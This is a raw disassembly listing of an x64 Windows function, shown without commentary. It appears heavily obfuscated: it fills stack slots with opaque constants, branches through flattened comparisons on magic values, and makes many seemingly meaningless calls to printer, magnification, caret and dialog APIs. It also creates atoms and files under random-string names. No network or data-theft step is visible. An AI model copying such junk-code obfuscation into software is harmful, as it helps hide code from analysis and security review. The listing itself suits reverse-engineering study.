mov eax, 0x72e
mov word [rsp + 0xe50], ax
mov eax, 0x66b
mov word [rsp + 0xe54], ax
movabs rax, 0x76b3792989a299
mov qword [rsp + 0x8a28], rax
movabs rax, 0x7bc53984220333
mov qword [rsp + 0x8a30], rax
mov dword [rsp + 0x45f4], 0xa9fb
mov byte [rsp + 0x255], 0x4b
mov dword [rsp + 0x45f8], 0x536d
mov dword [rsp + 0x45fc], 0x9f90
mov dword [rsp + 0x4600], 0x2a28
mov eax, 0x3e4
mov word [rsp + 0xe58], ax
mov byte [rsp + 0x256], 0x68
mov eax, 0xe33
mov word [rsp + 0xe5c], ax
mov byte [rsp + 0x257], 0xf7
mov byte [rsp + 0x258], 0x4b
mov dword [rsp + 0x4604], 0x489a
mov eax, 0xbba
mov word [rsp + 0xe60], ax
mov eax, 0x3f3
mov word [rsp + 0xe64], ax
mov byte [rsp + 0x259], 0x4c
mov byte [rsp + 0x25a], 0x5f
mov eax, 0x4d1
mov word [rsp + 0xe68], ax
mov eax, 0x725
mov word [rsp + 0xe6c], ax
mov eax, 0x3fa
mov word [rsp + 0xe70], ax
mov eax, 0x3bf
mov word [rsp + 0xe74], ax
mov eax, 0xb3d
mov word [rsp + 0xe78], ax
movabs rax, 0x784685a12a1cd2
mov qword [rsp + 0x8a38], rax
movabs rax, 0x78988ad5d00862
mov qword [rsp + 0x8a40], rax
mov byte [rsp + 0x25b], 0x34
movabs rax, 0x7d3e09f7194013
mov qword [rsp + 0x8a48], rax
mov eax, 0xce0
mov word [rsp + 0xe7c], ax
mov dword [rsp + 0x4608], 0x68eda720
movabs rax, 0x7347b1245fe379
mov qword [rsp + 0x8a50], rax
movabs rax, 0x718e253547a622
mov qword [rsp + 0x8a58], rax
movabs rax, 0x79eccecdeb1554
mov qword [rsp + 0x8a60], rax
mov byte [rsp + 0x25c], 0x44
mov byte [rsp + 0x25d], 0x75
movabs rax, 0x71a00b0695485b
mov qword [rsp + 0x8a68], rax
mov eax, 0x496
mov word [rsp + 0xe80], ax
mov dword [rsp + 0x460c], 0x1c2b
mov eax, 0x1fb
mov word [rsp + 0xe84], ax
mov byte [rsp + 0x25e], 0x4b
mov byte [rsp + 0x25f], 0xc1
mov dword [rsp + 0x4610], 0x328c7f60
mov byte [rsp + 0x260], 0x3b
movabs rax, 0x76fd7284076342
mov qword [rsp + 0x8a70], rax
mov dword [rsp + 0x4614], 0x5389
movabs rax, 0x7b850346744b3a
mov qword [rsp + 0x8a78], rax
mov eax, reloc.COMCTL32.dll_RemoveWindowSubclass
mov word [rsp + 0xe88], ax
mov dword [rsp + 0x4618], 0x7fd5
mov eax, 0xb0
mov word [rsp + 0xe8c], ax
mov byte [rsp + 0x261], 1
movabs rax, 0x7b0aade61a42a8
mov qword [rsp + 0x8a80], rax
mov eax, 0x4a3
mov word [rsp + 0xe90], ax
mov eax, 0x157
mov word [rsp + 0xe94], ax
mov dword [rsp + 0x461c], 0x7e0d
mov dword [rsp + 0x4620], 0x66f54279
mov eax, 0x3d3
mov word [rsp + 0xe98], ax
movabs rax, 0x7ce6ed59e1581c
mov qword [rsp + 0x8a88], rax
mov eax, 0xb6
mov word [rsp + 0xe9c], ax
movabs rax, 0x7129a5143921a9
mov qword [rsp + 0x8a90], rax
mov byte [rsp + 0x262], 0x2a
movabs rax, 0x77093369a3628e
mov qword [rsp + 0x8a98], rax
mov byte [rsp + 0x263], 0x3e
movabs rax, 0x71d15b70980d88
mov qword [rsp + 0x8aa0], rax
mov eax, 0x378
mov word [rsp + 0xea0], ax
mov eax, 0x14c
mov word [rsp + 0xea4], ax
mov byte [rsp + 0x264], 0xe1
movabs rax, 0x79fde79ace6868
mov qword [rsp + 0x8aa8], rax
movabs rax, 0x74f2490508fccb
mov qword [rsp + 0x8ab0], rax
mov byte [rsp + 0x265], 0xb7
movabs rax, 0x72eb08f2c89201
mov qword [rsp + 0x8ab8], rax
mov dword [rsp + 0x4624], 0x4182e9c
mov byte [rsp + 0x266], 0x6f
mov dword [rsp + 0x4628], 0x2267
movabs rax, 0x7bd6eb6f5c8702
mov qword [rsp + 0x8ac0], rax
mov eax, 0x4f8
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x462c], 0x2bab
mov dword [rsp + 0x4630], 0xdc03
mov eax, 0x736
mov word [rsp + 0xeac], ax
movabs rax, 0x715492d7f277e1
mov qword [rsp + 0x8ac8], rax
mov eax, 0xfc6
mov word [rsp + 0xeb0], ax
movabs rax, 0x7b9d241e898739
mov qword [rsp + 0x8ad0], rax
mov eax, 0x462
mov word [rsp + 0xeb4], ax
mov eax, 0x2b5
mov word [rsp + 0xeb8], ax
movabs rax, 0x73facabaa9a6c2
mov qword [rsp + 0x8ad8], rax
mov byte [rsp + 0x267], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0x37b
mov word [rsp + 0xebc], ax
mov eax, 0x334
mov word [rsp + 0xec0], ax
mov eax, 0x513
mov word [rsp + 0xec4], ax
movabs rax, 0x7024b9af7474cb
mov qword [rsp + 0x8ae0], rax
mov byte [rsp + 0x268], 0x67
mov byte [rsp + 0x269], 0x29
mov eax, 0x6da
mov word [rsp + 0xec8], ax
mov eax, 0xdf
mov word [rsp + 0xecc], ax
mov eax, 0x157
mov word [rsp + 0xed0], ax
movabs rax, 0x7c9ed598d90363
mov qword [rsp + 0x8ae8], rax
mov dword [rsp + 0x4634], 0xe8fb
movabs rax, 0x75ee8223276bab
mov qword [rsp + 0x8af0], rax
mov dword [rsp + 0x4638], 0x73be8204
mov dword [rsp + 0x463c], 0x9e7
mov eax, 0x4b9
mov word [rsp + 0xed4], ax
mov byte [rsp + 0x26a], 0xb1
mov byte [rsp + 0x26b], 0x77
mov eax, 0x989
mov word [rsp + 0xed8], ax
mov dword [rsp + 0x4640], 0xa19f
mov eax, 0x6e9
mov word [rsp + 0xedc], ax
mov byte [rsp + 0x26c], 0xbd
mov byte [rsp + 0x26d], 0x9f
movabs rax, 0x72b62fd764192c
mov qword [rsp + 0x8af8], rax
movabs rax, 0x7d1ff2bdbccaf6
mov qword [rsp + 0x8b00], rax
mov byte [rsp + 0x26e], 0xc1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.o4_PpAJo.QTvNfYw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xee0], ax
movabs rax, 0x7b9a1d451c8c47
mov qword [rsp + 0x8b08], rax
movabs rax, 0x7472ceaca2a4d6
mov rcx, qword [rsp + 0x7f10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
mov rax, qword [rsp + 0x8b08]
mov qword [rsp + 0x8b10], rax
movabs rax, 0x725fe6bdfb366e
cmp qword [rsp + 0x8b10], rax
je 0x14019f930
movabs rax, 0x7a8da7818adb00
cmp qword [rsp + 0x8b10], rax
je 0x14019fb38
movabs rax, 0x7b9a1d451c8c47
cmp qword [rsp + 0x8b10], rax
je 0x140037051
jmp 0x14019fb77
mov dword [rsp + 0x4644], 0x1edb5bb9
movabs rax, 0x7830eeaa861b16
mov rcx, qword [rsp + 0x7f10]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
mov eax, dword [rsp + 0x4644]
mov dword [rsp + 0x4648], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov eax, dword [rsp + 0x464c]
mov dword [rsp + 0x4650], eax
cmp dword [rsp + 0x4650], 0
je 0x1400370f9
cmp dword [rsp + 0x4650], 0x1fd4
je 0x1400374cd
cmp dword [rsp + 0x4650], 0x4a36
je 0x14003736e
cmp dword [rsp + 0x4650], 0x6ba1
je 0x1400377f3
cmp dword [rsp + 0x4650], 0x7b6b
je 0x140037694
jmp 0x140037a00
mov rax, qword [rsp + 0x8110]
mov qword [rsp + 0x8b20], rax
movabs rax, 0x7803ecea4d14af
cmp qword [rsp + 0x8b20], rax
je 0x1400372bd
movabs rax, 0x781356bb8b6a71
cmp qword [rsp + 0x8b20], rax
je 0x140037354
movabs rax, 0x7a56db58458195
cmp qword [rsp + 0x8b20], rax
je 0x14003716a
movabs rax, 0xfe79eefbbe5bde
cmp qword [rsp + 0x8b20], rax
je 0x1400372d7
jmp 0x140037369
mov r9d, 0xc3
lea r8, [rsp + 0x4654]
mov edx, 0x8e
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4658], eax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x465c], eax
lea r9, [rsp + 0x8b30]
mov r8d, 0xb2
mov rdx, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4658], eax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb2
lea r9, [rsp + 0x8b08]
mov r8d, 0x44
mov edx, 0x62
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4660], eax
mov r8, qword [rsp + 0x8b50]
mov rdx, qword [rsp + 0x8b58]
mov rcx, qword [rsp + 0x8b60]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4664], eax
lea rcx, [rsp + 0x1ed30]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4668], eax
mov r9d, 0xea
mov r8d, 0x4e
mov edx, 0x66
mov rcx, qword [rsp + 0x8b68]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
movabs rax, 0x79a55ca8397072
mov rcx, qword [rsp + 0x8b08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
lea r9, [rsp + 0x8b60]
lea r8, [rsp + 0x8b78]
xor edx, edx
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x466c], eax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x4670], eax
jmp 0x140037369
mov rcx, qword [rsp + 0x8b58]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4658], eax
jmp 0x140037369
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rcx, str.JdK1_EZTdYKwEfFqQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xee4], ax
movzx eax, byte [rsp + 0xee]
cdq
mov ecx, 0x74
idiv ecx
mov byte [rsp + 0xee], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.7cF23QD3JSCy442QYncyIoG5KGyULBF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x8b80], rax
mov dword [rsp + 0x1f4a0], 0x11c
jmp 0x140037369
lea rcx, [rsp + 0x1ed90]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4644], eax
jmp 0x140037a00
movabs rax, 0x7e0b30b0f2d456
mov rcx, qword [rsp + 0x7f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
mov r8d, reloc.COMCTL32.dll_DrawInsert
mov rdx, qword [rsp + 0x8b68]
mov rcx, qword [rsp + 0x8b88]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov r9d, 0xc5
mov r8d, reloc.COMCTL32.dll_LBItemFromPt
mov edx, 0xfa
mov rcx, qword [rsp + 0x8b88]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
mov r9d, 0xaa
lea r8, [rsp + 0x4654]
xor edx, edx
mov rcx, qword [rsp + 0x8b98]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4674], eax
mov eax, dword [rsp + 0x464c]
mov dword [rsp + 0x465c], eax
mov r9d, 0xdc
mov r8d, 0x9e
mov rdx, qword [rsp + 0x8ba0]
mov rcx, qword [rsp + 0x8b58]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4678], eax
lea rdx, [rsp + 0x1eeb0]
mov rcx, qword [rsp + 0x8b88]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4660], eax
mov eax, dword [rsp + 0x4668]
mov ecx, dword [rsp + 0x4648]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
mov qword [rsp + 0x20], 0xed
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8b58]
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8bb8], rax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x465c], eax
lea r8, [rsp + 0x8ba8]
lea rdx, [rsp + 0x1ed90]
lea rcx, [rsp + 0x1a2c8]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x4660], eax
jmp 0x140037a00
movzx eax, byte [rsp + 0xee]
and eax, 0x86
mov byte [rsp + 0xee], al
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x467c], eax
mov qword [rsp + 0x20], 0x88
mov r9, qword [rsp + 0x8bc0]
mov r8, qword [rsp + 0x8bb8]
mov rdx, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8b68], rax
mov eax, dword [rsp + 0x4668]
mov ecx, dword [rsp + 0x4644]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
mov qword [rsp + 0x20], 0x54
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8b58]
mov rdx, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4648], eax
mov edx, 0xab
lea rcx, [rsp + 0x467c]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8bf0], rax
mov qword [rsp + 0x20], 0x1f
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8bf8]
mov rdx, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8b78], rax
mov eax, dword [rsp + 0x4648]
mov dword [rsp + 0x4668], eax
mov qword [rsp + 0x20], 0xe7
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8b88]
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4668], eax
mov edx, 0xb2
lea rcx, [rsp + 0x8ba0]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c08], rax
mov eax, dword [rsp + 0x4670]
mov dword [rsp + 0x4654], eax
mov qword [rsp + 0x20], 0x36
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8bb8]
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4648], eax
lea r9, [rsp + 0x4670]
lea r8, [rsp + 0x8bc0]
xor edx, edx
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x466c], eax
jmp 0x140037a00
lea rax, [rsp + 0x4648]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x93
lea r9, [rsp + 0x8bb0]
mov r8d, 0x46
mov edx, 0xa2
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4680], eax
mov rcx, qword [rsp + 0x8b88]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4678], eax
mov eax, dword [rsp + 0x4648]
mov dword [rsp + 0x4668], eax
mov r9d, 0xf4
mov r8d, 0x51
mov edx, 0x2d
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
mov qword [rsp + 0x20], 0x8d
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8b88]
mov rdx, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4684], eax
movabs rax, 0x776f6814476dae
mov rcx, qword [rsp + 0x8110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
lea rax, [rsp + 0x8b88]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xfe
lea r9, [rsp + 0x4684]
mov r8d, 0x35
mov rdx, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4688], eax
mov r9d, 0x2d
lea r8, [rsp + 0x4654]
xor edx, edx
mov rcx, qword [rsp + 0x8c30]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4688], eax
lea rdx, [rsp + 0x1ef20]
mov rcx, qword [rsp + 0x8b98]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4660], eax
jmp 0x140037a00
lea rdx, [rsp + 0x1a2e0]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4688], eax
lea r8, [rsp + 0x8ba8]
lea rdx, [rsp + 0x8c20]
lea rcx, [rsp + 0x8bb0]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x468c], eax
mov eax, dword [rsp + 0x4644]
mov ecx, dword [rsp + 0x4668]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea r9, [rsp + 0x8c38]
mov r8d, 0x75
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x468c], eax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4668]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x1ed90]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4654]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb3
lea r9, [rsp + 0x7f10]
mov r8d, 1
mov rdx, qword [rsp + 0x8c40]
mov ecx, 0xdd
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x467c], eax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8be8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb8
lea r9, [rsp + 0xee]
mov r8d, 0xcd
mov rdx, qword [rsp + 0x8b50]
mov ecx, 0xa5
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x468c], eax
movzx eax, byte [rsp + 0xee]
xor eax, 0xb8
mov byte [rsp + 0xee], al
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4664], eax
lea r8, [rsp + 0x8bb0]
lea rdx, [rsp + 0x1eeb0]
lea rcx, [rsp + 0x4664]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x4680], eax
mov edx, 0x59
mov rcx, qword [rsp + 0x8c30]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x8b08]
shl rax, 0x32
mov qword [rsp + 0x8b08], rax
lea r8, [rsp + 0x8bf0]
lea rdx, [rsp + 0x8ba0]
lea rcx, [rsp + 0x8bd8]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x4660], eax
mov dword [rsp + 0x20], 0xf8
lea r9, [rsp + 0x8be8]
mov r8d, 0x44
mov edx, 0xda
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x467c], eax
mov eax, dword [rsp + 0x4668]
mov ecx, dword [rsp + 0x4648]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x4690], al
cmp byte [rsp + 0x4690], 0x18
je 0x140037b54
cmp byte [rsp + 0x4690], 0x68
je 0x140037a48
cmp byte [rsp + 0x4690], 0xb5
je 0x140037f1b
cmp byte [rsp + 0x4690], 0xf9
je 0x140037cfa
jmp 0x140038060
mov rax, qword [rsp + 0x8110]
sar rax, 7
mov qword [rsp + 0x7f10], rax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4670]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xe5
lea rax, [rsp + 0x4674]
mov qword [rsp + 0x20], rax
mov r9d, 0xe0
mov r8d, 0xbe
mov edx, LBItemFromPt
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4694], eax
lea rcx, [rsp + 0x1a248]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c58], rax
movabs rax, 0x7176f76fe2eeb8
mov rcx, qword [rsp + 0x7f10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
lea rcx, [rsp + 0x1ef90]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x468c], eax
lea rcx, [rsp + 0x1a258]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8bf0], rax
mov dword [rsp + 0x28], 0x78
lea rax, [rsp + 0x1a258]
mov qword [rsp + 0x20], rax
mov r9d, 0x87
mov r8, qword [rsp + 0x8c40]
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x465c], eax
jmp 0x14019f894
movabs rax, 0x7b5d2fe204810b
mov rcx, qword [rsp + 0x8110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
mov r8d, 0x31
mov rdx, qword [rsp + 0x8c68]
mov rcx, qword [rsp + 0x8b98]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, 0xea
lea rcx, [rsp + 0x4664]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c08], rax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x4670], eax
lea rax, [rsp + 0x8b30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea
lea r9, [rsp + 0x8be8]
mov r8d, 0x7f
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4664], eax
lea rdx, [rsp + 0x1a2f8]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4698], eax
lea rax, [rsp + 0x1ed90]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xc2
lea rax, [rsp + 0x4654]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1eeb0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8bd8]
mov qword [rsp + 0x20], rax
mov r9d, 0x39
mov r8, qword [rsp + 0x8be0]
mov edx, 0xa8
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x464c], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x469c], eax
mov eax, dword [rsp + 0x4668]
mov dword [rsp + 0x4684], eax
lea rax, [rsp + 0x4678]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xb4
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8bc0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1eeb0]
mov qword [rsp + 0x20], rax
mov r9d, 0xc4
mov r8, qword [rsp + 0x8c40]
mov edx, 0x51
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x4654], eax
jmp 0x14019f894
mov dword [rsp + 0x20], 0xc8
lea r9, [rsp + 0x8110]
mov r8d, 0x59
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8c78]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x469c], eax
movabs rax, 0x7cf1836e94df79
mov rcx, qword [rsp + 0x8110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x20], rax
mov r9d, LBItemFromPt
lea r8, [rsp + 0x8c60]
mov edx, 0x34
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x4688], eax
lea rax, [rsp + 0x1eeb0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x20], rax
mov r9d, 0xe7
lea r8, [rsp + 0x8c20]
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x46a0], eax
mov r8d, 0xcd
mov rdx, qword [rsp + 0x8b58]
mov rcx, qword [rsp + 0x8bb8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov dword [rsp + 0x20], 0x2d
lea r9, [rsp + 0x8bc8]
mov r8d, 0x28
lea rdx, [rsp + 0x4644]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x46a4], eax
lea rcx, [rsp + 0x1ef90]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x4698], eax
movzx eax, byte [rsp + 0xee]
add eax, 0xef
mov byte [rsp + 0xee], al
lea rdx, [rsp + 0x1ef90]
mov rcx, qword [rsp + 0x8c80]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4678], eax
mov eax, dword [rsp + 0x465c]
mov dword [rsp + 0x464c], eax
mov r8d, 0x82
mov rdx, qword [rsp + 0x8c68]
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea rax, [rsp + 0x468c]
mov qword [rsp + 0x20], rax
mov r9d, 0xfe
lea r8, [rsp + 0x8c58]
mov edx, 0x3d
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x4674], eax
mov eax, dword [rsp + 0x4644]
mov ecx, dword [rsp + 0x4668]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x1ed90]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4674]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xad
lea r9, [rsp + 0x8b08]
mov r8d, 0x1d
mov rdx, qword [rsp + 0x8bc8]
mov ecx, 0x2e
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x467c], eax
jmp 0x14019f894
lea r9, [rsp + 0x8c40]
lea r8, [rsp + 0x1a258]
xor edx, edx
mov rcx, qword [rsp + 0x8c90]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x468c], eax
lea rax, [rsp + 0x4684]
mov qword [rsp + 0x20], rax
mov r9d, 0xab
lea r8, [rsp + 0x46a0]
mov edx, 0x54
mov rcx, qword [rsp + 0x8c78]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x466c], eax
mov eax, dword [rsp + 0x465c]
mov dword [rsp + 0x46a0], eax
mov r8d, 0x98
mov rdx, qword [rsp + 0x8b98]
mov rcx, qword [rsp + 0x8bf8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov r9d, 0x9a
lea r8, [rsp + 0x8c70]
mov edx, 0xfe
mov rcx, qword [rsp + 0x8c78]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x46a8], eax
movzx eax, byte [rsp + 0xee]
and eax, 0xcf
mov byte [rsp + 0xee], al
mov edx, 0x8f
lea rcx, [rsp + 0x8b90]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c08], rax
lea rax, [rsp + 0x467c]
mov qword [rsp + 0x20], rax
mov r9d, 0xd7
lea r8, [rsp + 0x8ba0]
mov edx, 0xbc
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x468c], eax
mov r9d, 0xfa
lea r8, [rsp + 0x8b48]
xor edx, edx
mov rcx, qword [rsp + 0x8b98]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x46ac], eax
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x4654], eax
jmp 0x14019f894
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.6xDdNjChbBDRJjzkA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x8c98], rax
